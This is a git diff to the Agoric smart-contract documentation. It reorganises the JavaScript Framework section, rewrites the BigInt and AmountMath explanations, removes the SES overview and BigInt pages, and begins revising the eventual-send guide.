diff --git a/main/.vuepress/config.js b/main/.vuepress/config.js
index f4f7354e9..7d5bf03ec 100644
--- a/main/.vuepress/config.js
+++ b/main/.vuepress/config.js
@@ -106,17 +106,15 @@ module.exports = {
]
},
{
- title: 'JavaScript Programming',
+ title: 'JavaScript Framework',
path: '/guides/js-programming/',
collapsible: false,
children: [
- '/guides/js-programming/agoric-js-overview',
+ '/guides/js-programming/hardened-js',
+ '/guides/js-programming/eventual-send',
+ '/guides/js-programming/far',
+ '/guides/js-programming/notifiers',
'/guides/js-programming/ses/',
- '/guides/js-programming/bigint',
- '/guides/js-programming/vats',
- '/guides/js-programming/far',
- '/guides/js-programming/eventual-send',
- '/guides/js-programming/notifiers',
]
},
{
diff --git a/main/.vuepress/themeConfig/nav.js b/main/.vuepress/themeConfig/nav.js
index ccc3217d8..2f9f162c8 100644
--- a/main/.vuepress/themeConfig/nav.js
+++ b/main/.vuepress/themeConfig/nav.js
@@ -81,8 +81,8 @@ module.exports = [
link: '/zoe/guide/'
},
{
- text: 'Agoric JavaScript Programming',
- ariaLabel: 'Agoric JS Programming',
+ text: 'JavaScript Framework',
+ ariaLabel: 'JavaScript Framework',
link: '/guides/js-programming/',
},
{
diff --git a/main/assets/Introduction.svg b/main/assets/Introduction.svg
new file mode 100644
index 000000000..11c27766e
--- /dev/null
+++ b/main/assets/Introduction.svg
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/main/assets/counter-animation.png b/main/assets/counter-animation.png
new file mode 100644
index 000000000..d9777cb01
Binary files /dev/null and b/main/assets/counter-animation.png differ
diff --git a/main/assets/remote-presence-fig.svg b/main/assets/remote-presence-fig.svg
new file mode 100644
index 000000000..8744a3e3b
--- /dev/null
+++ b/main/assets/remote-presence-fig.svg
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/main/assets/zoe-partitions-risk-slide.svg b/main/assets/zoe-partitions-risk-slide.svg
new file mode 100644
index 000000000..4eb414684
--- /dev/null
+++ b/main/assets/zoe-partitions-risk-slide.svg
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/main/ertp/api/amount-math.md b/main/ertp/api/amount-math.md
index 29d66e3eb..3668f15a3 100644
--- a/main/ertp/api/amount-math.md
+++ b/main/ertp/api/amount-math.md
@@ -21,8 +21,8 @@ specified when `issuerKit()` creates the issuer and brand.
We recommend you import the two `AssetKind` values from `@agoric/ERTP` instead of making the
strings yourself.
-- `AssetKind.NAT` (`nat`): Used with fungible assets. `amount` `values` are natural numbers (non-negative `BigInts`).
-- `AssetKind.SET` (`set`): Used with non-fungible assets. `amount` `values` are objects or records with multiple properties.
+- `AssetKind.NAT` (`nat`): Used with fungible assets. Values are natural numbers using the JavaScript [BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) type to avoid overflow risks from using the usual JavaScript `Number` type.
+- `AssetKind.SET` (`set`): Used with non-fungible assets. Values are arrays of objects such as strings.
Use `makeIssuerKit(allegedName, assetKind, displayInfo)` to specify which `AssetKind`
your contract uses. The second parameter, `assetKind` is optional and
@@ -46,18 +46,18 @@ An empty `purse` has 0 Quatloos.
```js
someAmount: {
brand: someBrand,
- value: someValue,}
+ value: someValue,
+}
```
## Value
-`values` describe how much of something can be owned or shared. A fungible `value` is
-normally represented by a natural number `BigInt`. Other `values` may be represented as strings
-naming a particular right, or an arbitrary object that sensibly represents the rights at issue.
+`values` describe how much of something can be owned or shared.
+A value is either a non-negative `BigInt` for a fungible amount
+or, for a non-fungible amount, [copyArray](/guides/js-programming/far.md#passstyleof-api)
+such as a hardened array of strings.
-Note that numbers in a value are represented as type `BigInt`, which allows for arbitrarily
-large numbers. `BigInts` are depicted as an integer with an appended "n"; e.g. `10n`, `137n`.
-See the [`BigInt` section in the JavaScript Distributed Programming Guide](/guides/js-programming/bigint.md) for details.
+Recall that `BigInt`s are written with an `n` at the end: `10n`, `137n`, etc.
## Brand parameters
@@ -79,17 +79,7 @@ not equal, an error is thrown.
- `allegedValue` `{Value}`
- Returns: `{Amount}`
-Make an `amount` from a `value` by adding the `brand`.
-
-Remember that numbers in `values` are represented as `BigInts`; integers
-with an appended "n". As seen in the below example, we strongly encourage
-using BigInts as the argument to `AmountMath.make()`. While `AmountMath.make()`
-does coerce a `Number` argument to a `BigInt`, so both `4` and `4n` return an
-amount with a value of `4n`, using `Numbers` is likely to confuse later viewers
-of your code.
-
-See the [BigInt section in the JavaScript Distributed Programming Guide](/guides/js-programming/bigint.md) for
-details about `BigInts`.
+Make an `amount` from a `value` and a `brand`.
```js
//amount837 = { value: 837n, brand: quatloos }
@@ -115,8 +105,7 @@ const verifiedAmount = AmountMath.coerce(quatloosBrand, allegedAmount);
- `amount` `{Amount}`
- Returns: `{Value}`
-Returns the `value` from the given `amount`. Remember, numeric values
-are represented as `BigInts`, not `Numbers`.
+Returns the `value` from the given `amount`.
```js
const quatloos123 = AmountMath.make(quatloosBrand, 123n);
@@ -130,7 +119,7 @@ const myValue = AmountMath.getValue(quatloosBrand, quatloos123);
Returns the `amount` representing an empty `Amount` for the `brand` argument's
`Brand`. This is the identity element for `AmountMath.add()`
and `AmountMath.subtract()`. The empty `value` depends
-on whether the `assetKind` is `AssetKind.NAT` (`0`) of `AssetKind.SET` (`[]`).
+on whether the `assetKind` is `AssetKind.NAT` (`0n`) or `AssetKind.SET` (`[]`).
```js
// Returns an empty amount.
diff --git a/main/ertp/guide/amount-math.md b/main/ertp/guide/amount-math.md
index 445d6c5c6..e930b7ce2 100644
--- a/main/ertp/guide/amount-math.md
+++ b/main/ertp/guide/amount-math.md
@@ -12,8 +12,8 @@ There are two `AssetKinds`, each of which implements the same methods. Which kin
for a particular `brand` depends on what was specified when the `brand` and
its `issuer` were created. They are:
-- `AssetKind.NAT` (`nat`): Used with fungible assets. `amount` `values` are natural numbers (non-negative BigInts).
-- `AssetKind.SET` (`set`): Used with non-fungible assets. `amount` `values` are arrays with any number of strings, numbers, etc.
+- `AssetKind.NAT` (`'nat'`): Used with fungible assets. Values are natural numbers using the JavaScript [BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) type to avoid overflow risks from using the usual JavaScript `Number` type.
+- `AssetKind.SET` (`set`): Used with non-fungible assets. Values are [copyArray](/guides/js-programming/far.md#passstyleof-api)s such as hardened arrays of strings.
`makeIssuerKit(allegedName, assetKind, displayInfo=)` creates a new `issuer`,
`mint`, and `brand`.
@@ -82,7 +82,7 @@ API Reference](../api/).
- [AmountMath.make(brand, allegedValue)](../api/amount-math.md#amountmath-make-brand-allegedvalue)
- Takes a `value` argument and returns an `amount` by making a record
with the `value` and the `brand` associated with the `AmountMath`. The `value`
- argument should be represented as a `BigInt` e.g. 10n rather than 10.
+ argument should be represented as a `BigInt` e.g. `10n` rather than `10`.
- <<< @/snippets/ertp/guide/test-amount-math.js#make
- [AmountMath.makeEmpty(brand, assetKind)](/ertp/api/amount-math.md#amountmath-makeempty-brand-assetkind)
- Returns an `amount` representing an empty `amount`, which is the identity
diff --git a/main/ertp/guide/amounts.md b/main/ertp/guide/amounts.md
index c19bd9fe5..e12702bc4 100644
--- a/main/ertp/guide/amounts.md
+++ b/main/ertp/guide/amounts.md
@@ -7,8 +7,7 @@
`Amounts` describe digital assets. There are no `amount` API methods.
Instead, an `amount` has two properties, `value` and `brand` with methods
that act on them or take them as arguments.
-Use the `AmountMath` library (covered in-depth
-[here](../api/amount-math.md))
+Use the [`AmountMath` API](../api/amount-math.md)
to get information about and otherwise manipulate an `amount` as a whole.
`AmountMath.make()` is generally how you make new `amounts`.
@@ -93,9 +92,8 @@ return a `brand`.
Values are the "how many" part of an `amount`.
-Note that number values (for fungible assets) are represented as `BigInts` and
-not `Numbers`. So a value of `10` is written `10n` to show it is a `BigInt` 10.
-See [here](/guides/js-programming/bigint.md) for more information about `BigInt`.
+Note that number values (for fungible assets) are represented as `BigInt`s and
+not `Number`s. Write `10n` rather than `10`.
There are no `value`
methods, but two `AmountMath` methods use or return them.
diff --git a/main/getting-started/deploying.md b/main/getting-started/deploying.md
index da692cb08..ad567ce8f 100644
--- a/main/getting-started/deploying.md
+++ b/main/getting-started/deploying.md
@@ -94,4 +94,3 @@ Steps for contracts that use a singleton instance for all clients may further in
* Use the invitation from that instance creation to configure the new instance
* Register the contract instance's `instance` with the Board
* Record the contract instance's Board ID in a configuration file
-
diff --git a/main/glossary/README.md b/main/glossary/README.md
index 0ea45e1bd..6feb5a50d 100644
--- a/main/glossary/README.md
+++ b/main/glossary/README.md
@@ -75,9 +75,12 @@ digital assets in the quantity specified by an [amount](#amounts).
## BigInt
-JavaScript's `Number` primitive only represents numbers up to 253 - 1. `BigInt` is a built-in
-object that can be used for arbitrarily large integers. Agoric uses `BigInts` for times
-and `Amount` `values`. See [here](/guides/js-programming/bigint.md) for more information.
+In [ERTP AmountMath](/ertp/guide/amount-math.md), we use the JavaScript [BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) type for the `value` of fungible amounts in order to avoid overflow risks from using the usual JavaScript `Number` type.
+
+[Timer Services](/repl/timerServices.md) also use `BigInt` for absolute and relative times.
+
+`BigInt`s are written with an `n` suffix: `0n`, `1n`, `2n`, ... or created with `BigInt("123")`
+or `BigInt(123)`.
## Board (Agoric Board)
@@ -322,7 +325,7 @@ as they are not interchangeable (and may have different prices). See also [fungi
## Notifier
A notifier provides a stream of updates describing changes to the state of an [offer](#offer) or other object.
-For more information, see the [Notifier section in the Distributed JavaScript Programming Guide](/guides/js-programming/notifiers.md).
+For more information, see [Notifiers and Subscriptions](/guides/js-programming/notifiers.md).
## Object Capabilities
@@ -470,7 +473,7 @@ A vat is a unit of isolation.
Objects and functions in a JavaScript vat can communicate synchronously with one another. Vats and their contents can
communicate with other vats and their objects and functions, but can only communicate asynchronously.
-For more information, see the [Vat section in the Distributed JS Programming Guide](/guides/js-programming/vats.md)
+For more information, see the [Vat section in the Distributed JS Programming Guide](/guides/js-programming/#vats-the-unit-of-synchrony)
## Wallet
diff --git a/main/guides/js-programming/README.md b/main/guides/js-programming/README.md
index 2ce4b0b5a..6ea54b1f5 100644
--- a/main/guides/js-programming/README.md
+++ b/main/guides/js-programming/README.md
@@ -1,51 +1,55 @@
-# Agoric JavaScript Programming
-
-Agoric's platform lets you write secure smart contracts in JavaScript. The platform
-itself is mainly written in JavaScript. However, we've made several Agoric-specific
-additions and deletions to general JavaScript programming that you should know about
-and understand before programming on the platform. Some are *concepts*, others
-are *Agoric library additions*, and some are at the *syntax level*. All changes at the
-language level are in process to become official standards.
-
-- **[Agoric JavaScript Overview](./agoric-js-overview.md)**
- - This is the key document to familiarize yourself with and refer back to. It briefly specifies
- all the things in JavaScript you can't or shouldn't use when working on the Agoric platform and
- all the things Agoric has added at the general JavaScript programming level. In particular, you
- should know about SES (*Secure ECMAScript*) and its `lockdown()` and `harden()` methods.
-
-- **[Secure EcmaScript (SES)](./ses/)**
- - SES provides a secure platform for
- executing programs. With SES, you can run code you don't completely trust,
- without being vulnerable to bugs or bad intentions. It's a
- standards-track extension to the JavaScript standard. Notable additions
- include the `lockdown()` and `harden()` methods to freeze objects.
-
-- **[`BigInt`](./bigint.md)**
- - JavaScript's `Number` primitive only represents
- numbers up to 253 - 1. `BigInt` is a newer built-in JavaScript
- object that represents arbitrarily large integers. Agoric uses `BigInts` for
- `amount` `values` and times.
-
-- **[Vats](./vats.md)**
- - Objects and functions in the same JavaScript vat can
- communicate synchronously. Communication with objects outside the
- vat can only be done asynchronously.
-
-- **[`Far()` and remotable objects](./far.md)**
- - In Agoric smart contracts and dapps, you can call methods on objects from other
- vats or machines. Objects intended to be used from other vats are called *remotables*.
- To mark an object as remotable, use the `Far()` function.
-
-- **[Remote object communication using `E`](./eventual-send.md)**
- - `E` is a local "bridge" function that lets
- you invoke methods on remote objects, whether in another vat, machine, or blockchain (for example).
- It takes a local representative (a *proxy*) for a remote object as an argument and sends messages
- to it using normal message-sending syntax. The local proxy forwards all messages to the remote
- object to deal with. Sending a message to the remote object must be done by
- using `E` (`E(remoteObj).myMethod()`).
+# JavaScript Framework for Secure Distributed Computing
+
+The Agoric smart contract platform starts with a JavaScript framework
+for secure distributed computing.
+
+::: tip Watch: Distributed Programming for a Decentralized World (Aug 2019)
+This 15 minute overview is the first in a
+[4-parts series](https://www.youtube.com/playlist?list=PLzDw4TTug5O1oHRbp2HkcvKABAY9FKsmG)
+of short talks on the Agoric Architecture that overlap substantially with the material in
+the sections below.
+
+
+:::
+
+## Vats: the unit of synchrony
+
+The Agoric framework uses the same [event loop concurrency model](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) as web browsers and Node.js.
+Each event loop has a message queue, a call stack of frames, and a heap of objects:
+
+![heap, stack, and queue](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop/the_javascript_runtime_environment_example.svg)
+
+We refer to this combination of an event loop with a message queue, a stack, and a heap as a _vat_.
+
+Vats are the unit of synchrony. We can only use ordinary synchronous
+function calls within the same vat. But we can use asynchronous function calls
+(with [eventual send](./eventual-send.md)) either within the same vat or between vats.
+Vats may be on remote machines, including massively replicated machines such as blockchains.
+
+## Parts of the Framework
+
+The framework includes:
+
+- **[Hardened JavaScript](./hardened-js.md)**
+ - Hardened JavaScript provides a platform for
+ making objects that can interact with code you don't completely trust,
+ without being vulnerable to bugs or bad intentions.
+ We introduce [object capabilities](./hardened-js.md#object-capabilities-ocaps) and how to use them
+ to apply the [principle of least authority](./hardened-js.md#the-principle-of-least-authority-pola).
+
+- **[`E()` for Eventual Send to Remote Presences](./eventual-send.md)**
+ - The `E()` wrapper function lets
+ you invoke methods within or between vats.
+ Given a local representative (a *presence*) for a remote object,
+ it sends messages to the origin of the presence.
+ `E(obj).myMethod(...args)` is an asynchronous form of `obj.myMethod(...args)`.
+
+- **[`Far()`, Remoteable Objects, and Marshaling](./far.md)**
+ - Objects used across vats are called *remotables*.
+ To mark an object for exporting from a vat, use the `Far()` function.
- **[Notifiers and Subscriptions](./notifiers.md)**
- - The Agoric platform uses Notifiers and Subscriptions to distribute state change
+ - Notifiers and Subscriptions distribute state change
updates. Both deliver an asynchronous stream of messages as a publish-subscribe system
might, without requiring explicit management of lists of subscribers. Notifiers are
- lossy conveyors of non-final values while Subscriptions are lossless value conveyors.
+ lossy conveyors of non-final values while subscriptions are lossless value conveyors.
diff --git a/main/guides/js-programming/agoric-js-overview.md b/main/guides/js-programming/agoric-js-overview.md
deleted file mode 100644
index 21aeb636d..000000000
--- a/main/guides/js-programming/agoric-js-overview.md
+++ /dev/null
@@ -1,314 +0,0 @@
-# Agoric JavaScript Overview
-
-## Introduction
-
-This doc summarizes Agoric’s additions to and deletions from the current JavaScript standards. In other
-words, what you need to know to write JavaScript that runs in an Agoric vat. *Vats* are containers that
-run code in a confined and resource-limited environment,
-with [*orthogonal persistence*](https://en.wikipedia.org/wiki/Persistence_(computer_science)#Orthogonal_or_transparent_persistence)
-and [*eventual-send-based*](https://github.com/tc39/proposal-eventual-send) access to external
-resources.
-
-Most JS environments (Node.js, web browsers) provide a combination of the baseline
-JavaScript [*language globals*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects) (e.g.
-`Object`, `Array`, etc.) and host objects, many of which provide
-IO. [Web browsers](https://developer.mozilla.org/en-US/docs/Web/API) offer things like `window`, `fetch`, `WebAssembly`,
-and `localStorage`, while [Node.js includes](https://nodejs.org/dist/latest-v14.x/docs/api/globals.html) ones
-like `require`, `process`, and `Buffer`. In general, host objects provide all IO.
-
-Vats are different. Their JS environment is a frozen [SES](https://medium.com/agoric/ses-securing-javascript-in-the-real-world-4f309e6b66a6) (*Secure
-ECMAScript*) `Compartment` (see below), with some additions.
-
-## SES
-
-SES is a safe deterministic subset of "strict mode" JavaScript. This means it does not include
-any IO objects that provide [*ambient authority*](https://en.wikipedia.org/wiki/Ambient_authority)
-(which is not “safe”). SES also removes non-determinism by modifying a few built-in objects. For a
-more detailed explanation of SES and its functionality, see the [SES Guide](./ses/ses-guide.md)
-and [SES Reference](./ses/ses-reference.md).
-
-As of SES-0.8.0/Fall 2020, [the SES source code](https://github.com/endojs/endo/blob/SES-v0.8.0/packages/ses/src/whitelist.js)
-defines a subset of the globals defined by the baseline JavaScript language specification. SES **includes** the globals:
-
-- `Object`
-- `Array`
-- `Number`
-- `Map` / `Set`
-- `WeakMap` / `WeakSet`
-- `Number`
-- `BigInt`
-- `Intl`
-- `Math`
- - `Math.random()` is disabled (calling it throws an error) as an obvious source of
- non-determinism.
-- `Date`
- - `Date.now()` returns `NaN`
- - `new Date(nonNumber)` or `Date(anything)` return a `Date` that stringifies to `"Invalid Date"`
-
-We retain the other, purely computational and deterministic, `Math` and `Date` features.
-
-Much of the `Intl` package, and some locale-specific aspects of other objects
-(e.g. `Number.prototype.toLocaleString`) have results that depend upon which locale is configured.
-This varies from one process to another. Our handling of this is still in development. Either these
-functions will be disabled, or they will act as if run on a host with a single fixed locale as defined
-by the SES specification.
-
-## Additions
-
-As SES is on the JavaScript standards track, the below anticipates additional
-proposed standard-track features. If those features become standards, future
-JS environments will include them as global objects. So the current SES shim
-also makes those global objects available.
-
-The vat environment has four significant objects not part of standard JavaScript:
-
-- `console` helps with debugging. Since all JavaScript implementations add it,
- you may be surprised it’s not in the official spec. So leaving it out would
- cause too much confusion. Note that `console.log`’s exact behavior is up to
- the host program; display to the operator is not guaranteed. Use the console
- for debug information only. The console is not obliged to write to the POSIX
- standard output.
-
-- `harden` is a global that freezes an object’s API surface (enumerable data properties).
- A hardened object’s properties cannot be changed, so the only way to interact
- with a hardened object is through its methods. `harden()` is similar to `Object.freeze()`
- but more powerful. For more details,
- see [the details from the `ses` package](https://github.com/endojs/endo/blob/master/packages/ses/README.md#harden).
-
- `harden()` should be called on all objects that will be transferred
- across a trust boundary. The general rule is if you make a new object
- and give it to someone else (and don't immediately forget it yourself),
- you should give them `harden(obj)` instead of the raw object. Hardening
- a class instance also hardens the class.
-
-- `HandledPromise` is also a global.
- The [`E` wrapper (`E(target).method-name(args)`)](/guides/js-programming/eventual-send.md)
- can be imported as `import { E } from '@agoric/eventual-send`. These two
- are defined by the TC39 [Eventual-Send Proposal](https://github.com/tc39/proposal-eventual-send).
-
-- `Compartment` (a [part of SES](https://github.com/endojs/endo/tree/SES-v0.8.0/packages/ses#compartment))
- is a global. Vat code runs inside a `Compartment` and can create sub-compartments
- to host other code (with different globals or transforms).
-
- Note that these child compartments get `harden()` and `Compartment`, but
- you have to explicitly provide any other JS additions (including `console`
- and `HandledPromise`) as “endowments” since they won’t be present otherwise.
- If the parent compartment is metered, its child compartments are always
- metered too. Child compartments will *not* be frozen by default:
- see [Frozen globalThis](#frozen-globalthis) below for details.
-
-## Removals
-
-Almost all existing JS code was written to run under Node.js or inside a browser,
-so it's easy to conflate the environment features with JavaScript itself. For
-example, you may be surprised that `Buffer` and `require` are Node.js
-additions and not part of JavaScript.
-
-Most Node.js-specific [global objects](https://nodejs.org/dist/latest-v14.x/docs/api/globals.html)
-are unavailable within a vat including:
-
-* `queueMicrotask`: You can
- replace `queueMicrotask(fn)` with `Promise.resolve().then(_ => fn())`.
-* `Buffer` (consider using `TypedArray` instead, but see below)
-* `setImmediate`/`clearImmediate`: Not available
-
-There are two queues: the *IO queue* (accessed by `setImmediate`), and
-the *Promise queue* (accessed by Promise resolution). SES code can only
-add to the Promise queue. Note that the Promise queue is higher-priority
-than the IO queue, so the Promise queue must be empty for any IO or timers to be handled.
-* `setInterval` and `setTimeout` (and `clearInterval`/`clearTimeout`): Any
- notion of time must come from exchanging messages with external timer services
- (the SwingSet environment provides a `TimerService` object to the bootstrap vat,
- which can share it with other vats)
-* `global`: Is not defined. Use `globalThis` instead (and remember that it is frozen).
-* `process`: Is not available, e.g. no `process.env` to access the process's environment
- variables, or `process.argv` for the argument array.
-* `URL` and `URLSearchParams`: Are not available.
-* `WebAssembly`: Is not available.
-* `TextEncoder` and `TextDecoder`: Are not available.
-
-Some names look like globals, but are really part of the module-defining tools: imports,
-exports, and metadata. Modules start as files on disk, but then are bundled together
-into an archive before being loaded into a vat. The bundling tool uses several standard
-functions to locate other modules that must be included. These are not a part of SES, but
-are allowed in module source code, and are translated or removed before execution.
-
-- `import` and `export` syntax are allowed in ESM-style modules (preferred over CommonJS).
- These are not globals as such, but top-level syntax that defines the module graph.
-- `require`, `module`, `module.exports`, and `exports` are allowed in CommonJS-style modules,
- and should work as expected. However, new code should be written as ESM modules. They
- are either consumed by the bundling process, provided (in some form) by the execution
- environment, or otherwise rewritten to work sensibly
-- `__dirname` and `__filename` are not provided
-- The dynamic import expression (`await import('name')`) is currently prohibited in vat
- code, but a future SES implementation may allow it.
-
-Node.js has a [large collection](https://nodejs.org/dist/latest-v14.x/docs/api/) of "built-in
-modules", such as `http` and `crypto`. Some are clearly platform-specific (e.g. `v8`), while
-others are not so obvious (`stream`). All are accessed by importing a
-module (`const v8 = require('v8')` in CommonJS modules, or `import v8 from 'v8'` in ESM modules).
-These modules are built out of native code (C++), not plain JS.
-
-None of these built-in modules are available to vat code. `require` or `import` can be used
-on pure JS modules, but not on modules including native code. For a vat to exercise authority
-from a built-in module, you have to write a *device* with an endowment with the built-in
-module's functions, then have the vat send messages to the device.
-
-Browser environments also have a huge list of [other features](https://developer.mozilla.org/en-US/docs/Web/API)
-presented as names in the global scope (some also added to Node.js). None are available in a
-SES environment. The most surprising removals include `atob`, `TextEncoder`, and `URL`.
-
-`debugger` is a first-class JavaScript statement, and behaves as expected in vat code.
-
-## Shim limitations
-
-The [*shim*](https://github.com/endojs/endo/tree/master/packages/ses) providing our SES environment is not as
-fully-featured as a native implementation. As a result, you cannot use some forms of code
-yet. The following restrictions should be lifted once your JS engine can provide SES natively.
-
-### HTML comments
-
-JavaScript parsers may not recognize HTML comments within source code, potentially causing
-different behavior on different engines. For safety, the SES shim rejects any source
-code containing a comment open (``) sequence. However, its filter
-uses a regular expression, not a full parser. It unnecessarily rejects any source code
-containing either of the strings ``, even if neither marks a comment.
-
-### Dynamic import expressions
-
-The "dynamic import expression" (`import('path')`) enables code to load dependencies at
-runtime. It returns a promise resolving to the module namespace object. While it takes
-the form of a function call, it's actually not a function call, but is instead JavaScript
-syntax. As such it would let vat code bypass the shim's `Compartment`'s module map.
-For safety, the SES shim rejects code that looks like it uses a dynamic import expression.
-
-The regular expression for this pattern is safe and should never allow any use of
-dynamic import, however obfuscated the usage is. Because of this, it may be confused
-into falsely rejecting legitimate code.
-
-For example, the word “import” near a parenthesis or at the end of a line inside a
-comment is identified as a disallowed use of `import()` and falsely rejected:
-```js
-//
-// This function calculates the import
-// duties paid on the merchandise.
-//
-```
-
-But the following obfuscated dynamic import usage is rightly rejected:
-```js
-sneaky = import
-// comment to hide invocation
-(modulename);
-```
-
-### Direct vs. indirect eval expressions
-
-A *direct eval*, invoked as `eval(code)`, behaves as if `code` were expanded in place.
-The evaluated code sees the same scope as the `eval` itself sees, so this `code` can
-reference `x`:
-
-```js
-function foo(code) {
- const x = 1;
- eval(code);
-}
-```
-
-If you perform a direct eval, you cannot hide your internal authorities from the
-code being evaluated.
-
-In contrast, an *indirect eval* only gets the global scope, not the local scope.
-In a safe SES environment, indirect eval is a useful and common tool. The evaluated
-code can only access global objects, and those are all safe (and frozen). The only
-bad thing an indirect eval can do is consume unbounded CPU or memory. Once you've
-evaluated the code, you can invoke it with arguments to give it as many or as few
-authorities as you like.
-
-The most common way to invoke an indirect eval is `(1,eval)(code)`.
-
-The SES proposal does not change how direct and indirect eval work. However, the SES shim
-cannot correctly emulate a direct eval. If it tried, it would perform an indirect eval.
-This could be pretty confusing, because the evaluated code would not use objects from
-the local scope as expected. Furthermore, in the future when SES is natively implemented
-by JavaScript engines, the behavior would revert to direct eval, allowing access to
-anything in scope.
-
-To avoid this confusion and compatibility risk, the shim uses a regular expression to
-reject code that looks like it is performing a direct eval. This regexp is not complete
-(you can trick it into allowing a direct eval), but that’s safe because it really performs
-an indirect eval. Our goal is just to guide people away from confusing and non-compliant
-behaviors early in their development process.
-
-This regexp falsely rejects occurrences inside static strings and comments.
-
-## Other changes
-
-### Frozen `globalThis`
-
-Vats run in a `Compartment` with a frozen `globalThis` object. If mutable,
-it would provide an ambient communication channel. One side of this channel
-could set `globalThis.heyBuddyAreYouOutThere = 'exfiltrated message'`, and
-the other side could periodically read it. This would violate object-capability
-security; objects may only communicate through references.
-
-Vats can create a new `Compartment` object, and decide if it supports object-capability
-security. If it does, they should run `harden(compartment.globalThis)` on it
-and only then load any untrusted code into it.
-
-### Frozen primordials
-
-SES freezes *primordials*; built-in JavaScript objects such as `Object`, `Array`,
-and `RegExp`, and their prototype chains. This prevents malicious code from
-changing their behavior (imagine `Array.prototype.push` delivering a copy of
-its argument to an attacker, or ignoring certain values). It also prevents
-using, for example, `Object.heyBuddy` as an ambient communication channel.
-
-Both frozen primordials and a frozen `globalThis` break a few JS libraries
-that add new features to built-in objects (shims/polyfills). For shims which
-just add properties to `globalThis`, it may be possible to load these in a new
-non-frozen `Compartment`. Shims that modify primordials only work if you build
-new (mutable) wrappers around the default primordials and let the shims modify
-those wrappers instead.
-
-## Library compatibility
-
-Vat code can use `import` or `require()` to import other libraries consisting
-only of JS code, which are compatible with the SES environment. This includes
-a significant portion of the NPM registry.
-
-However, many NPM packages use built-in Node.js modules. If used at import
-time (in their top-level code), vat code cannot use the package and fails
-to load at all. If they use the built-in features at runtime, then the
-package can load. However, it might fail later when a function is invoked
-that accesses the missing functionality. So some NPM packages are partially
-compatible; you can use them if you don't invoke certain features.
-
-The same is true for NPM packages that use missing globals, or attempt to
-modify frozen primordials.
-
-The [SES wiki](https://github.com/endojs/endo/wiki) tracks compatibility
-reports for NPM packages, including potential workarounds.
-
-## Summary
-
-When writing JavaScript to run in Agoric’s vats, keep in mind the following
-differences from the JavaScript flavor you’re used to:
-
-- Missing or unusable:
- - Most [Node.js-specific global objects](https://nodejs.org/dist/latest-v14.x/docs/api/globals.html)
- - All [Node.js built-in modules](https://nodejs.org/dist/latest-v14.x/docs/api/) such as `http` and
- `crypto`.
- - [Features from browser environments](https://developer.mozilla.org/en-US/docs/Web/API) presented
- as names in the global scope including `atob`, `TextEncoder`, and `URL`.
- - HTML comments
- - Dynamic `import` expressions
- - Direct evals
-
-- Added or modified
- - `console`
- - `harden()`
- - `HandledPromise()`
- - `Compartment`
- - `globalThis` is frozen.
- - JavaScript primordials are frozen.
diff --git a/main/guides/js-programming/bigint.md b/main/guides/js-programming/bigint.md
deleted file mode 100644
index a7d22a344..000000000
--- a/main/guides/js-programming/bigint.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# `BigInt`
-
-JavaScript's `Number` primitive only represents numbers up to 253 - 1. `BigInt` is
-a newer built-in JavaScript object that represents arbitrarily large integers. Agoric uses `BigInts` for
-amount `values` and time values.
-
-You create a `BigInt` by appending `n` to an integer. For example, `10n` is a BigInt equal to
-the `Number` `10`. You can also call the method `BigInt()`.
-```js
-const previouslyMaxSafeInteger = 9007199254740991n
-
-const alsoHuge = BigInt(9007199254740991)
-// alsoHuge has the value 9007199254740991n
-
-const hugeString = BigInt("9007199254740991")
-// hugeString has the value 9007199254740991n
-```
-
-`BigInt` cannot be used with the `Math` object's methods. It cannot be mixed with `Numbers` in operations;
-they must be coerced to the same type. Coercing a `BigInt` to a `Number` may lose precision.
-
-`typeof` returns `'bigint'` for `BigInts`. When wrapped in an `Object`, a `BigInt` is a normal "object" type.
-
-```js
-typeof 1n === 'bigint' // true
-typeof BigInt('1') === 'bigint' // true
-typeof Object(1n) === 'object' // true
-```
-
-Note that JSON does not serialize `BigInt` values by default. You must first implement your
-own `toJSON()` method. Otherwise `JSON.stringify()` will raise a `TypeError`.
-```js
-BigInt.prototype.toJSON = function() { return this.toString() }
-// Instead of throwing, JSON.stringify now produces a string like this:
-
-JSON.stringify(BigInt(1))
-// '"1"'
-```
-For full reference information about `BigInt`, go [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt).
diff --git a/main/guides/js-programming/eventual-send.md b/main/guides/js-programming/eventual-send.md
index 8beeae450..9bcf82388 100644
--- a/main/guides/js-programming/eventual-send.md
+++ b/main/guides/js-programming/eventual-send.md
@@ -1,55 +1,81 @@
-# Remote object communication with `E()`
-
-On the Agoric platform, objects may be running in distinct vats, on a remote
-machine, or even on a blockchain. When you send messages to non-local
-objects in different vats, the response isn't received immediately and
-can't be acted upon locally until it arrives.
-
-To keep from blocking local code until the response arrives, we
-return a `Promise` for the result. You can send more messages to a result's
-`Promise`. If and when the `Promise` resolves to a remote object, the messages
-are forwarded to the object's location, and their results are
-eventually returned and processed locally.
-
-JavaScript natively
-[supports Promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises).
-Agoric's `HandledPromises` are compatible and interoperable with
-standard `Promise`s. Standard interaction with a `Promise` or
-`HandledPromise` is to do further processing either in a `.then()`
-clause or after using `await` to get the result.
-
-You can send messages to a `Promise`'s eventual result, or to a
-presence (a proxy for a remote object), using `E()` notation. For
-example, `E(remoteServiceP).startup(params)`. The result of a
-send using`E` is always a `Promise`, so the normal thing to do with
-the result (as with any object) is either pass it as a parameter or
-invoke a function to be performed once the `Promise` is fulfilled.
-
-`E(remoteServiceP).startup(params).then(result => useTheService(result));`
-
-Deploy scripts and Zoe smart contracts often access services running in a
-different vat. For instance, a deploy script may want to install a contract in a
-Zoe instance running in a blockchain. But the deploy script
-cannot call `zoe.install(bundle)`, because it does not have local
-access to the `zoe` object in a different vat. However, the deploy
-script is given access to a `zoe` *presence*. To call methods on the
-actual Zoe object, the deploy code can do:
